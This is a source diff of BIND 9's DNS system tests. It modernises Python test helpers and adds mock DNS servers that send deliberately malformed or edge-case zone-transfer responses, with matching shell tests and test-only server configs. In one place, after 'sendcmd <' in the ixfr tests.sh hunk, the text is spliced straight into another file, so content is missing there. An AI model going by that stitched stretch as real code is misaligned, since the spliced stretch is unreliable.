from .basic import BASIC_VARS from .dirs import DIR_VARS from .features import FEATURE_VARS diff -Nru bind9-9.20.18/bin/tests/system/isctest/vars/autoconf.py bind9-9.20.21/bin/tests/system/isctest/vars/autoconf.py --- bind9-9.20.18/bin/tests/system/isctest/vars/autoconf.py 2026-01-09 13:39:28.102972742 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/vars/autoconf.py 2026-03-13 22:01:10.637879392 +0000 @@ -10,10 +10,9 @@ # information regarding copyright ownership. from pathlib import Path -from typing import Dict -def load_ac_vars_from_files() -> Dict[str, str]: +def load_ac_vars_from_files() -> dict[str, str]: ac_vars = {} ac_vars_dir = Path(__file__).resolve().parent / ".ac_vars" var_paths = [ diff -Nru bind9-9.20.18/bin/tests/system/isctest/vars/basic.py bind9-9.20.21/bin/tests/system/isctest/vars/basic.py --- bind9-9.20.18/bin/tests/system/isctest/vars/basic.py 2026-01-09 13:39:28.102972742 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/vars/basic.py 2026-03-13 22:01:10.637879392 +0000 @@ -11,12 +11,8 @@ import os -# pylint: disable=import-error from .autoconf import AC_VARS # type: ignore -# pylint: enable=import-error - - BASIC_VARS = { "ARPANAME": f"{AC_VARS['TOP_BUILDDIR']}/bin/tools/arpaname", "CDS": f"{AC_VARS['TOP_BUILDDIR']}/bin/dnssec/dnssec-cds", diff -Nru bind9-9.20.18/bin/tests/system/isctest/vars/dirs.py bind9-9.20.21/bin/tests/system/isctest/vars/dirs.py --- bind9-9.20.18/bin/tests/system/isctest/vars/dirs.py 2026-01-09 13:39:28.102972742 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/vars/dirs.py 2026-03-13 22:01:10.637879392 +0000 @@ -11,12 +11,8 @@ import os -# pylint: disable=import-error from .autoconf import AC_VARS # type: ignore -# pylint: enable=import-error - - SYSTEM_TEST_DIR_GIT_PATH = "bin/tests/system" DIR_VARS = { diff -Nru bind9-9.20.18/bin/tests/system/isctest/vars/features.py bind9-9.20.21/bin/tests/system/isctest/vars/features.py --- bind9-9.20.18/bin/tests/system/isctest/vars/features.py 2026-01-09 13:39:28.102972742 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/vars/features.py 2026-03-13 22:01:10.637879392 +0000 @@ -14,7 +14,6 @@ from .basic import BASIC_VARS - FEATURES = { "DNSRPS": "--enable-dnsrps", "DNSTAP": "--enable-dnstap", diff -Nru bind9-9.20.18/bin/tests/system/isctest/vars/openssl.py bind9-9.20.21/bin/tests/system/isctest/vars/openssl.py --- bind9-9.20.18/bin/tests/system/isctest/vars/openssl.py 2026-01-09 13:39:28.102972742 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/vars/openssl.py 2026-03-13 22:01:10.637879392 +0000 @@ -9,12 +9,11 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import os from re import compile as Re -from typing import Optional -from .. import log +import os +from .. import log OPENSSL_VARS = { "OPENSSL_CONF": os.getenv("OPENSSL_CONF", None), @@ -24,7 +23,7 @@ } -def parse_openssl_config(path: Optional[str]): +def parse_openssl_config(path: str | None): if path is None or not os.path.exists(path): OPENSSL_VARS["ENGINE_ARG"] = None OPENSSL_VARS["SOFTHSM2_MODULE"] = None diff -Nru bind9-9.20.18/bin/tests/system/ixfr/ans2/ans.py bind9-9.20.21/bin/tests/system/ixfr/ans2/ans.py --- bind9-9.20.18/bin/tests/system/ixfr/ans2/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/ixfr/ans2/ans.py 2026-03-13 22:01:10.638879360 +0000 @@ -0,0 +1,265 @@ +""" +Copyright (C) Internet Systems Consortium, Inc. ("ISC") + +SPDX-License-Identifier: MPL-2.0 + +This Source Code Form is subject to the terms of the Mozilla Public +License, v. 2.0. If a copy of the MPL was not distributed with this +file, you can obtain one at https://mozilla.org/MPL/2.0/. + +See the COPYRIGHT file distributed with this work for additional +information regarding copyright ownership. +""" + +from collections.abc import AsyncGenerator, Collection, Iterable + +import abc + +import dns.rcode +import dns.rdataclass +import dns.rdatatype +import dns.rrset + +from isctest.asyncserver import ( + ControllableAsyncDnsServer, + DnsResponseSend, + QueryContext, + ResponseHandler, + SwitchControlCommand, +) + + +def rrset(owner: str, rdtype: dns.rdatatype.RdataType, rdata: str) -> dns.rrset.RRset: + return dns.rrset.from_text( + owner, + 300, + dns.rdataclass.IN, + rdtype, + rdata, + ) + + +def soa(serial: int, *, owner: str = "nil.") -> dns.rrset.RRset: + return rrset( + owner, + dns.rdatatype.SOA, + f"ns.nil. root.nil. {serial} 300 300 604800 300", + ) + + +def ns() -> dns.rrset.RRset: + return rrset( + "nil.", + dns.rdatatype.NS, + "ns.nil.", + ) + + +def a(address: str, *, owner: str) -> dns.rrset.RRset: + return rrset( + owner, + dns.rdatatype.A, + address, + ) + + +def txt(data: str, *, owner: str = "nil.") -> dns.rrset.RRset: + return rrset( + owner, + dns.rdatatype.TXT, + f'"{data}"', + ) + + +class SoaHandler(ResponseHandler): + def __init__(self, serial: int): + self._serial = serial + + def match(self, qctx: QueryContext) -> bool: + return qctx.qtype == dns.rdatatype.SOA + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.response.answer.append(soa(self._serial)) + yield DnsResponseSend(qctx.response) + + +class AxfrHandler(ResponseHandler): + @property + @abc.abstractmethod + def answers(self) -> Iterable[Collection[dns.rrset.RRset]]: + """ + Answer sections of response packets sent in response to + AXFR queries. + """ + raise NotImplementedError + + def match(self, qctx: QueryContext) -> bool: + return qctx.qtype == dns.rdatatype.AXFR + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + for answer in self.answers: + response = qctx.prepare_new_response() + for rrset_ in answer: + response.answer.append(rrset_) + yield DnsResponseSend(response) + + +class IxfrHandler(ResponseHandler): + @property + @abc.abstractmethod + def answer(self) -> Collection[dns.rrset.RRset]: + """ + Answer section of a response packet sent in response to + IXFR queries. + """ + raise NotImplementedError + + def match(self, qctx: QueryContext) -> bool: + return qctx.qtype == dns.rdatatype.IXFR + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + for rrset_ in self.answer: + qctx.response.answer.append(rrset_) + yield DnsResponseSend(qctx.response) + + +class InitialAfxrHandler(AxfrHandler): + answers = ( + (soa(1),), + ( + ns(), + txt("initial AXFR"), + a("10.0.0.61", owner="a.nil."), + a("10.0.0.62", owner="b.nil."), + ), + (soa(1),), + ) + + +class SuccessfulIfxrHandler(IxfrHandler): + answer = ( + soa(3), + soa(1), + a("10.0.0.61", owner="a.nil."), + txt("initial AXFR"), + soa(2), + txt("successful IXFR"), + a("10.0.1.61", owner="a.nil."), + soa(2), + soa(3), + soa(3), + ) + + +class NotExactIxfrHandler(IxfrHandler): + answer = ( + soa(4), + soa(3), + txt("delete-nonexistent-txt-record"), + soa(4), + txt("this-txt-record-would-be-added"), + soa(4), + ) + + +class FallbackNotExactAxfrHandler(AxfrHandler): + answers = ( + (soa(3),), + ( + ns(), + txt("fallback AXFR"), + ), + (soa(3),), + ) + + +class TooManyRecordsIxfrHandler(IxfrHandler): + answer = ( + soa(4), + soa(3), + soa(4), + txt("text 1"), + txt("text 2"), + txt("text 3"), + txt("text 4"), + txt("text 5"), + txt("text 6: causing too many records"), + soa(4), + ) + + +class FallbackTooManyRecordsAxfrHandler(AxfrHandler): + answers = ( + ( + soa(3), + ns(), + txt("fallback AXFR on too many records"), + ), + (soa(3),), + ) + + +class BadSoaOwnerIxfrHandler(IxfrHandler): + answer = ( + soa(4), + soa(3), + soa(4, owner="bad-owner."), + txt("serial 4, malformed IXFR", owner="test.nil."), + soa(4), + ) + + +class FallbackBadSoaOwnerAxfrHandler(AxfrHandler): + answers = ( + (soa(4),), + ( + ns(), + txt("serial 4, fallback AXFR", owner="test.nil."), + ), + (soa(4),), + ) + + +def main() -> None: + server = ControllableAsyncDnsServer( + default_aa=True, default_rcode=dns.rcode.NOERROR + ) + switch_command = SwitchControlCommand( + { + "initial_axfr": ( + SoaHandler(1), + InitialAfxrHandler(), + ), + "successful_ixfr": ( + SoaHandler(3), + SuccessfulIfxrHandler(), + ), + "not_exact": ( + SoaHandler(4), + NotExactIxfrHandler(), + FallbackNotExactAxfrHandler(), + ), + "too_many_records": ( + SoaHandler(4), + TooManyRecordsIxfrHandler(), + FallbackTooManyRecordsAxfrHandler(), + ), + "bad_soa_owner": ( + SoaHandler(4), + BadSoaOwnerIxfrHandler(), + FallbackBadSoaOwnerAxfrHandler(), + ), + } + ) + server.install_control_command(switch_command) + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.18/bin/tests/system/ixfr/tests.sh bind9-9.20.21/bin/tests/system/ixfr/tests.sh --- bind9-9.20.18/bin/tests/system/ixfr/tests.sh 2026-01-09 13:39:28.103972768 +0000 +++ bind9-9.20.21/bin/tests/system/ixfr/tests.sh 2026-03-13 22:01:10.639879328 +0000 @@ -32,27 +32,16 @@ DIGOPTS="+tcp +noadd +nosea +nostat +noquest +nocomm +nocmd -p ${PORT}" RNDCCMD="$RNDC -p ${CONTROLPORT} -c ../_common/rndc.conf -s" -sendcmd() { - send 10.53.0.2 "${EXTRAPORT1}" +switch_responses() { + RESPONSES_KEY="${1}" + $DIG $DIGOPTS "@10.53.0.2" "${RESPONSES_KEY}.switch._control." TXT +time=5 +tries=1 +tcp >/dev/null 2>&1 } n=$((n + 1)) echo_i "testing initial AXFR ($n)" ret=0 -sendcmd </dev/null # Provide a broken IXFR response and a working fallback AXFR response. -sendcmd < dns.rrset.RRset: + return dns.rrset.from_text( + owner, + 300, + dns.rdataclass.IN, + rdtype, + rdata, + ) + + +def soa(serial: int, *, owner: str = "nil.") -> dns.rrset.RRset: + return rrset( + owner, + dns.rdatatype.SOA, + f"ns.nil. root.nil. {serial} 300 300 604800 300", + ) + + +def ns() -> dns.rrset.RRset: + return rrset( + "nil.", + dns.rdatatype.NS, + "ns.nil.", + ) + + +def a(address: str, *, owner: str) -> dns.rrset.RRset: + return rrset( + owner, + dns.rdatatype.A, + address, + ) + + +def txt(data: str, *, owner: str = "nil.") -> dns.rrset.RRset: + return rrset( + owner, + dns.rdatatype.TXT, + f'"{data}"', + ) + + +class SoaHandler(ResponseHandler): + def __init__(self, serial: int): + self._serial = serial + + def match(self, qctx: QueryContext) -> bool: + return qctx.qtype == dns.rdatatype.SOA + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.response.answer.append(soa(self._serial)) + yield DnsResponseSend(qctx.response) + + +class AxfrHandler(ResponseHandler): + @property + @abc.abstractmethod + def answers(self) -> Iterable[Collection[dns.rrset.RRset]]: + """ + Answer sections of response packets sent in response to + AXFR queries. + """ + raise NotImplementedError + + def match(self, qctx: QueryContext) -> bool: + return qctx.qtype == dns.rdatatype.AXFR + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + for answer in self.answers: + response = qctx.prepare_new_response() + for rrset_ in answer: + response.answer.append(rrset_) + yield DnsResponseSend(response) + + +class IxfrHandler(ResponseHandler): + @property + @abc.abstractmethod + def answer(self) -> Collection[dns.rrset.RRset]: + """ + Answer section of a response packet sent in response to + IXFR queries. + """ + raise NotImplementedError + + def match(self, qctx: QueryContext) -> bool: + return qctx.qtype == dns.rdatatype.IXFR + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + for rrset_ in self.answer: + qctx.response.answer.append(rrset_) + yield DnsResponseSend(qctx.response) + + +class InitialAxfrHandler(AxfrHandler): + answers = ( + (soa(1),), + ( + ns(), + txt("initial AXFR"), + a("10.0.0.61", owner="a.nil."), + a("10.0.0.62", owner="b.nil."), + ), + (soa(1),), + ) + + +class InitialIxfrHandler(IxfrHandler): + answer = ( + soa(1), + ns(), + txt("initial AXFR"), + a("10.0.0.61", owner="a.nil."), + a("10.0.0.62", owner="b.nil."), + soa(1), + ) + + +class UnchangedIxfrHandler(IxfrHandler): + """ + IXFR from serial 1 -> 2. + + The diff deletes nothing for the A rrset at a.nil., but re-adds + "a.nil. A 10.0.0.61" which already exists. This causes the merge + to find no new records, triggering DNS_R_UNCHANGED. + + We also add a new TXT record so the IXFR has at least one real + change (the SOA serial bump + TXT addition). + """ + + answer = ( + soa(2), + soa(1), + soa(2), + txt("unchanged ixfr test"), + a("10.0.0.61", owner="a.nil."), # already exists -> DNS_R_UNCHANGED + soa(2), + ) + + +def main() -> None: + server = ControllableAsyncDnsServer( + default_aa=True, default_rcode=dns.rcode.NOERROR + ) + switch_command = SwitchControlCommand( + { + "initial_axfr": ( + SoaHandler(1), + InitialIxfrHandler(), + InitialAxfrHandler(), + ), + "unchanged_ixfr": ( + SoaHandler(2), + UnchangedIxfrHandler(), + ), + } + ) + server.install_control_command(switch_command) + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.18/bin/tests/system/ixfr-nonminimal/ans4/ans.py bind9-9.20.21/bin/tests/system/ixfr-nonminimal/ans4/ans.py --- bind9-9.20.18/bin/tests/system/ixfr-nonminimal/ans4/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/ixfr-nonminimal/ans4/ans.py 2026-03-13 22:01:10.637879392 +0000 @@ -0,0 +1,199 @@ +""" +Copyright (C) Internet Systems Consortium, Inc. ("ISC") + +SPDX-License-Identifier: MPL-2.0 + +This Source Code Form is subject to the terms of the Mozilla Public +License, v. 2.0. If a copy of the MPL was not distributed with this +file, you can obtain one at https://mozilla.org/MPL/2.0/. + +See the COPYRIGHT file distributed with this work for additional +information regarding copyright ownership. +""" + +from collections.abc import AsyncGenerator, Collection, Iterable + +import abc + +import dns.rcode +import dns.rdataclass +import dns.rdatatype +import dns.rrset + +from isctest.asyncserver import ( + ControllableAsyncDnsServer, + DnsResponseSend, + QueryContext, + ResponseHandler, + SwitchControlCommand, +) + + +def rrset(owner: str, rdtype: dns.rdatatype.RdataType, rdata: str) -> dns.rrset.RRset: + return dns.rrset.from_text( + owner, + 300, + dns.rdataclass.IN, + rdtype, + rdata, + ) + + +def soa(serial: int, *, owner: str = "nil.") -> dns.rrset.RRset: + return rrset( + owner, + dns.rdatatype.SOA, + f"ns.nil. root.nil. {serial} 300 300 604800 300", + ) + + +def ns() -> dns.rrset.RRset: + return rrset( + "nil.", + dns.rdatatype.NS, + "ns.nil.", + ) + + +def a(address: str, *, owner: str) -> dns.rrset.RRset: + return rrset( + owner, + dns.rdatatype.A, + address, + ) + + +def txt(data: str, *, owner: str = "nil.") -> dns.rrset.RRset: + return rrset( + owner, + dns.rdatatype.TXT, + f'"{data}"', + ) + + +class SoaHandler(ResponseHandler): + def __init__(self, serial: int): + self._serial = serial + + def match(self, qctx: QueryContext) -> bool: + return qctx.qtype == dns.rdatatype.SOA + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.response.answer.append(soa(self._serial)) + yield DnsResponseSend(qctx.response) + + +class AxfrHandler(ResponseHandler): + @property + @abc.abstractmethod + def answers(self) -> Iterable[Collection[dns.rrset.RRset]]: + """ + Answer sections of response packets sent in response to + AXFR queries. + """ + raise NotImplementedError + + def match(self, qctx: QueryContext) -> bool: + return qctx.qtype == dns.rdatatype.AXFR + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + for answer in self.answers: + response = qctx.prepare_new_response() + for rrset_ in answer: + response.answer.append(rrset_) + yield DnsResponseSend(response) + + +class IxfrHandler(ResponseHandler): + @property + @abc.abstractmethod + def answer(self) -> Collection[dns.rrset.RRset]: + """ + Answer section of a response packet sent in response to + IXFR queries. + """ + raise NotImplementedError + + def match(self, qctx: QueryContext) -> bool: + return qctx.qtype == dns.rdatatype.IXFR + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + for rrset_ in self.answer: + qctx.response.answer.append(rrset_) + yield DnsResponseSend(qctx.response) + + +class InitialAxfrHandler(AxfrHandler): + answers = ( + (soa(1),), + ( + ns(), + txt("initial AXFR"), + a("10.0.0.62", owner="b.nil."), + ), + (soa(1),), + ) + + +class InitialIxfrHandler(IxfrHandler): + answer = ( + soa(1), + ns(), + txt("initial AXFR"), + a("10.0.0.62", owner="b.nil."), + soa(1), + ) + + +class NxrrsetIxfrHandler(IxfrHandler): + """ + IXFR from serial 1 -> 2. + + Deletes the only A record at b.nil. (10.0.0.62). Since this is + the last record in that rdataset, subtractrdataset() returns + DNS_R_NXRRSET. + + Also adds a TXT record so the zone has a real change beyond the + SOA serial bump. + """ + + answer = ( + soa(2), + soa(1), + a("10.0.0.62", owner="b.nil."), + txt("initial AXFR"), + soa(2), + txt("nxrrset ixfr test"), + soa(2), + ) + + +def main() -> None: + server = ControllableAsyncDnsServer( + default_aa=True, default_rcode=dns.rcode.NOERROR + ) + switch_command = SwitchControlCommand( + { + "initial_axfr": ( + SoaHandler(1), + InitialIxfrHandler(), + InitialAxfrHandler(), + ), + "nxrrset_ixfr": ( + SoaHandler(2), + NxrrsetIxfrHandler(), + ), + } + ) + server.install_control_command(switch_command) + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.18/bin/tests/system/ixfr-nonminimal/ns1/named.conf.j2 bind9-9.20.21/bin/tests/system/ixfr-nonminimal/ns1/named.conf.j2 --- bind9-9.20.18/bin/tests/system/ixfr-nonminimal/ns1/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/ixfr-nonminimal/ns1/named.conf.j2 2026-03-13 22:01:10.638879360 +0000 @@ -0,0 +1,41 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.1; + notify-source 10.53.0.1; + transfer-source 10.53.0.1; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.1; }; + listen-on-v6 { none; }; + allow-transfer { any; }; + recursion no; + notify yes; + dnssec-validation no; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +zone "nil" { + type secondary; + file "nil.db"; + primaries { 10.53.0.2; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/ixfr-nonminimal/ns3/named.conf.j2 bind9-9.20.21/bin/tests/system/ixfr-nonminimal/ns3/named.conf.j2 --- bind9-9.20.18/bin/tests/system/ixfr-nonminimal/ns3/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/ixfr-nonminimal/ns3/named.conf.j2 2026-03-13 22:01:10.638879360 +0000 @@ -0,0 +1,41 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.3; + notify-source 10.53.0.3; + transfer-source 10.53.0.3; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.3; }; + listen-on-v6 { none; }; + allow-transfer { any; }; + recursion no; + notify yes; + dnssec-validation no; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +zone "nil" { + type secondary; + file "nil.db"; + primaries { 10.53.0.4; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/ixfr-nonminimal/prereq.sh bind9-9.20.21/bin/tests/system/ixfr-nonminimal/prereq.sh --- bind9-9.20.18/bin/tests/system/ixfr-nonminimal/prereq.sh 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/ixfr-nonminimal/prereq.sh 2026-03-13 22:01:10.638879360 +0000 @@ -0,0 +1,16 @@ +#!/bin/sh + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +. ../conf.sh + +exit 0 diff -Nru bind9-9.20.18/bin/tests/system/ixfr-nonminimal/setup.sh bind9-9.20.21/bin/tests/system/ixfr-nonminimal/setup.sh --- bind9-9.20.18/bin/tests/system/ixfr-nonminimal/setup.sh 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/ixfr-nonminimal/setup.sh 2026-03-13 22:01:10.638879360 +0000 @@ -0,0 +1,14 @@ +#!/bin/sh + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +. ../conf.sh diff -Nru bind9-9.20.18/bin/tests/system/ixfr-nonminimal/tests.sh bind9-9.20.21/bin/tests/system/ixfr-nonminimal/tests.sh --- bind9-9.20.18/bin/tests/system/ixfr-nonminimal/tests.sh 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/ixfr-nonminimal/tests.sh 2026-03-13 22:01:10.638879360 +0000 @@ -0,0 +1,86 @@ +#!/bin/sh + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +set -e + +. ../conf.sh + +wait_for_serial() ( + $DIG $DIGOPTS "@$1" "$2" SOA >"$4" + serial=$(awk '$4 == "SOA" { print $7 }' "$4") + [ "$3" -eq "${serial:--1}" ] +) + +status=0 +n=0 + +DIGOPTS="+tcp +noadd +nosea +nostat +noquest +nocomm +nocmd -p ${PORT}" +RNDCCMD="$RNDC -p ${CONTROLPORT} -c ../_common/rndc.conf -s" + +switch_responses() { + $DIG $DIGOPTS "@$1" "${2}.switch._control." TXT +time=5 +tries=1 +tcp >/dev/null 2>&1 +} + +# Set up initial_axfr handlers and trigger transfers +switch_responses 10.53.0.2 "initial_axfr" +switch_responses 10.53.0.4 "initial_axfr" +$RNDCCMD 10.53.0.1 refresh nil | sed 's/^/ns1 /' | cat_i +$RNDCCMD 10.53.0.3 refresh nil | sed 's/^/ns3 /' | cat_i + +# Wait for initial AXFRs to complete +retry_quiet 10 wait_for_serial 10.53.0.1 nil. 1 dig.out.ns1.axfr || { + echo_i "ns1 initial AXFR failed" + exit 1 +} +retry_quiet 10 wait_for_serial 10.53.0.3 nil. 1 dig.out.ns3.axfr || { + echo_i "ns3 initial AXFR failed" + exit 1 +} + +# Test 1: IXFR that re-adds an existing record -> DNS_R_UNCHANGED +n=$((n + 1)) +echo_i "testing IXFR with unchanged rdataset ($n)" +ret=0 + +switch_responses 10.53.0.2 "unchanged_ixfr" +sleep 1 + +$RNDCCMD 10.53.0.1 refresh nil | sed 's/^/ns1 /' | cat_i +sleep 2 + +$DIG $DIGOPTS @10.53.0.1 nil. TXT | grep 'unchanged ixfr test' >/dev/null || ret=1 +$DIG $DIGOPTS @10.53.0.1 a.nil. A | grep '10.0.0.61' >/dev/null || ret=1 +grep "dns_diff_apply: update with no effect" ns1/named.run >/dev/null || ret=1 + +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +# Test 2: IXFR that deletes last record in rdataset -> DNS_R_NXRRSET +n=$((n + 1)) +echo_i "testing IXFR with nxrrset ($n)" +ret=0 + +switch_responses 10.53.0.4 "nxrrset_ixfr" +sleep 1 + +$RNDCCMD 10.53.0.3 refresh nil | sed 's/^/ns3 /' | cat_i +sleep 2 + +$DIG $DIGOPTS @10.53.0.3 nil. TXT | grep 'nxrrset ixfr test' >/dev/null || ret=1 +$DIG $DIGOPTS @10.53.0.3 b.nil. A | grep '10.0.0.62' >/dev/null && ret=1 + +if [ $ret != 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +echo_i "exit status: $status" +[ $status -eq 0 ] || exit 1 diff -Nru bind9-9.20.18/bin/tests/system/ixfr-nonminimal/tests_sh_ixfr_nonminimal.py bind9-9.20.21/bin/tests/system/ixfr-nonminimal/tests_sh_ixfr_nonminimal.py --- bind9-9.20.18/bin/tests/system/ixfr-nonminimal/tests_sh_ixfr_nonminimal.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/ixfr-nonminimal/tests_sh_ixfr_nonminimal.py 2026-03-13 22:01:10.638879360 +0000 @@ -0,0 +1,27 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import pytest + +pytestmark = pytest.mark.extra_artifacts( + [ + "dig.out*", + "ans*/ans.run", + "ns1/nil.db", + "ns1/*.jnl", + "ns3/nil.db", + "ns3/*.jnl", + ] +) + + +def test_my_ixfr_nonminimal(run_tests_sh): + run_tests_sh() diff -Nru bind9-9.20.18/bin/tests/system/kasp/tests_kasp.py bind9-9.20.21/bin/tests/system/kasp/tests_kasp.py --- bind9-9.20.18/bin/tests/system/kasp/tests_kasp.py 2026-01-09 13:39:28.109972926 +0000 +++ bind9-9.20.21/bin/tests/system/kasp/tests_kasp.py 2026-03-13 22:01:10.644879169 +0000 @@ -9,26 +9,28 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +from datetime import timedelta + import os import shutil import subprocess import time -from datetime import timedelta - -import dns +import dns.exception +import dns.name +import dns.rcode +import dns.rdataclass +import dns.rdatatype +import dns.tsig import dns.update import pytest -pytest.importorskip("dns", minversion="2.0.0") +from isctest.kasp import KeyProperties, KeyTimingMetadata +from isctest.util import param +from isctest.vars.algorithms import ECDSAP256SHA256, ECDSAP384SHA384, Algorithm + import isctest import isctest.mark -from isctest.kasp import ( - KeyProperties, - KeyTimingMetadata, -) -from isctest.util import param -from isctest.vars.algorithms import ECDSAP256SHA256, ECDSAP384SHA384 pytestmark = pytest.mark.extra_artifacts( [ @@ -132,10 +134,10 @@ } -def autosign_properties(alg, size): +def autosign_properties(algorithm: Algorithm): return [ - f"ksk {lifetime['P2Y']} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", - f"zsk {lifetime['P1Y']} {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", + f"ksk {lifetime['P2Y']} {algorithm.number} {algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", + f"zsk {lifetime['P1Y']} {algorithm.number} {algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", ] @@ -356,9 +358,7 @@ "policy": "autosign", "config": autosign_config, "offset": -timedelta(days=30 * 6), - "key-properties": autosign_properties( - os.environ["DEFAULT_ALGORITHM_NUMBER"], os.environ["DEFAULT_BITS"] - ), + "key-properties": autosign_properties(Algorithm.default()), }, id="dnskey-ttl-mismatch.autosign", ), @@ -368,9 +368,7 @@ "policy": "autosign", "config": autosign_config, "offset": -timedelta(days=30 * 6), - "key-properties": autosign_properties( - os.environ["DEFAULT_ALGORITHM_NUMBER"], os.environ["DEFAULT_BITS"] - ), + "key-properties": autosign_properties(Algorithm.default()), "additional-tests": [ { "callback": cb_rrsig_refresh, @@ -386,9 +384,7 @@ "policy": "autosign", "config": autosign_config, "offset": -timedelta(days=30 * 6), - "key-properties": autosign_properties( - os.environ["DEFAULT_ALGORITHM_NUMBER"], os.environ["DEFAULT_BITS"] - ), + "key-properties": autosign_properties(Algorithm.default()), "additional-tests": [ { "callback": cb_rrsig_reuse, @@ -404,9 +400,7 @@ "policy": "autosign", "config": autosign_config, "offset": -timedelta(days=30 * 6), - "key-properties": autosign_properties( - os.environ["DEFAULT_ALGORITHM_NUMBER"], os.environ["DEFAULT_BITS"] - ), + "key-properties": autosign_properties(Algorithm.default()), "additional-tests": [ { "callback": cb_rrsig_refresh, @@ -422,9 +416,7 @@ "policy": "autosign", "config": autosign_config, "offset": -timedelta(days=30 * 6), - "key-properties": autosign_properties( - os.environ["DEFAULT_ALGORITHM_NUMBER"], os.environ["DEFAULT_BITS"] - ), + "key-properties": autosign_properties(Algorithm.default()), "additional-tests": [ { "callback": cb_remove_keyfiles, @@ -441,8 +433,8 @@ "config": autosign_config, "offset": -timedelta(days=30 * 6), "key-properties": [ - f"ksk 63072000 {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent missing", - f"zsk 31536000 {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} 